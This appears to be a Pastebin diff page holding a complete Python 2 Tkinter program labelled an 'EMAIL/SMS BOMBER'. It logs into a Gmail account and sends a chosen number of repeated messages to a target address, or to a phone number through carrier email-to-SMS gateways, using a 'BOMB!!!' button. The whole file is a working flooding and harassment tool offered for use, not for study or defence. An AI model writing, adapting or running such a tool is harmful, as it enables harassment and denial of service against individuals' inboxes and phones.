View difference between Paste ID: UK5vsiNc and iT2efpT4
SHOW: | | - or go back to the newest paste.
1
#EMAIL/SMS BOMBER
2
3
import smtplib,tkMessageBox
4
from Tkinter import *
5
6
server = smtplib.SMTP('smtp.gmail.com:587')
7
server.ehlo()
8
server.starttls()
9
server.ehlo()
10
11
class window():
12
    carrier = {
13
        '1':'@message.alltel.com',
14
        '2':'@txt.att.net',
15
        '3':'@myboostmobile.com',
16
        '4':'@messaging.nextel.com',
17
        '5':'@messaging.sprintpcs.com',
18
        '6':'@tmomail.net',
19
        '7':'@vtext.com',
20
        '8':'@vmobl.com'
21
        }
22
    def smsbomber(self):
23
        self.amt = int(self.numtxt.get())
24
        self.zero = 0
25
        if '@gmail.com' not in self.usr:
26
            self.usr = self.usr+'@gmail.com'
27
        try:
28
            while self.zero < self.amt:
29
                self.zero += 1
30
                server.sendmail(str(self.usr),str(self.rectxt.get())+self.carrier.get(self.car.get()),str(self.msgtxt.get()))
31
            done = tkMessageBox.showinfo('Done','Done!')
32
        except smtplib.SMTPRecipientsRefused:
33
            tkMessageBox.showerror('Error','Check "Send to" box.')
34
    def bomber(self):
35
        self.amt = int(self.numtxt.get())
36
        self.zero = 0
37
        if '@gmail.com' not in self.usr:
38
            self.usr = self.usr+'@gmail.com'
39
        try:
40
            while self.zero < self.amt:
41
                self.zero += 1
42
                server.sendmail(str(self.usr),str(self.rectxt.get()),str(self.msgtxt.get()))
43
            done = tkMessageBox.showinfo('Done','Done!')
44
        except smtplib.SMTPRecipientsRefused:
45
            tkMessageBox.showerror('Error','Check "Send to" box.')
46
                
47
    def email(self):
48
        self.window.destroy()
49
        self.emailframe = Tk()
50
        self.emailframe.title('Email Bomber')
51
        self.reclbl = Label(self.emailframe,text='Send to: ')
52
        self.reclbl.grid(row=0,column=0)
53
        self.rectxt = Entry()
54
        self.rectxt.grid(row=0,column=1)
55
        self.msglbl = Label(self.emailframe,text='MSG: ')
56
        self.msglbl.grid(row=1,column=0)
57
        self.msgtxt = Entry()
58
        self.msgtxt.grid(row=1,column=1)
59
        self.numlbl = Label(self.emailframe,text='Amount to send: ')
60
        self.numlbl.grid(row=2,column=0)
61
        self.numtxt = Entry()
62
        self.numtxt.grid(row=2,column=1)
63
        self.bomb = Button(self.emailframe,text='BOMB!!!',command=self.bomber)
64
        self.bomb.grid(row=3,column=3)
65
        self.emailframe.mainloop()
66
        
67
    def sms(self):
68
        self.window.destroy()
69
        self.smsframe = Tk()
70
        self.smsframe.title('SMS Bomber')
71
        self.ff = Label(self.smsframe,text='Go to fonefinder.net to find carrier')
72
        self.ff.grid(row=0)
73
        self.carlbl = Label(self.smsframe,text='1. Alltell\n2. AT&T\n3. BoostMobile\n4. SprintNextel(@nextel.com)\n5. SprintNextel(@sprintpcs.com)\n6. T-Mobile\n7. Verizon\n8. VirginMobile')
74
        self.carlbl.grid(row=1,column=4)
75
        self.car = Spinbox(self.smsframe,from_=1,to=8)
76
        self.car.grid(row=3,column=4)
77
        self.reclbl = Label(self.smsframe,text='10 Digit Number: ')
78
        self.reclbl.grid(row=3,column=0)
79
        self.rectxt = Entry()
80
        self.rectxt.grid(row=3,column=1)
81
        self.msglbl = Label(self.smsframe,text='MSG: ')
82
        self.msglbl.grid(row=4,column=0)
83
        self.msgtxt = Entry()
84
        self.msgtxt.grid(row=4,column=1)
85
        self.numlbl = Label(self.smsframe,text='Amount: ')
86
        self.numlbl.grid(row=5,column=0)
87
        self.numtxt = Entry()
88
        self.numtxt.grid(row=5,column=1)
89
        self.bomb = Button(self.smsframe,text='BOMB!!!',command=self.smsbomber)
90
        self.bomb.grid(row=5,column=4)
91
        self.smsframe.mainloop()
92
        
93
        
94
    def Login(self):
95
        self.usr = self.usrtext.get()
96
        self.psw = self.passtext.get()
97
        try:
98
            server.login(self.usr,self.psw)
99
            self.login.destroy()
100
            self.email = Button(self.window,text='EMAIL',command=self.email)
101
            self.email.grid(row=3,column=0)
102
            self.sms = Button(self.window,text='SMS',command=self.sms)
103
            self.sms.grid(row=3,column=1)
104
        except smtplib.SMTPAuthenticationError:
105
            tkMessageBox.showerror('Error','Invalid Username/Password')
106
            
107
    def __init__(self,master=None):
108
        self.window = Tk()
109
        self.window.title('BOMBz')
110
        self.login = Button(self.window,text='LOGIN',command=self.Login)
111
        self.login.grid(row=3,column=1)
112
        self.usrlabel = Label(self.window,text='GMAIL:')
113
        self.usrlabel.grid(row=0,column=0)
114
        self.usrtext = Entry()
115
        self.usrtext.grid(row=0,column=1)
116
        self.passlabel = Label(self.window,text='PASSWORD:')
117
        self.passlabel.grid(row=1,column=0)
118
        self.passtext = Entry(show="*")
119
        self.passtext.grid(row=1,column=1)
120
        self.window.mainloop()
121
122
123
window()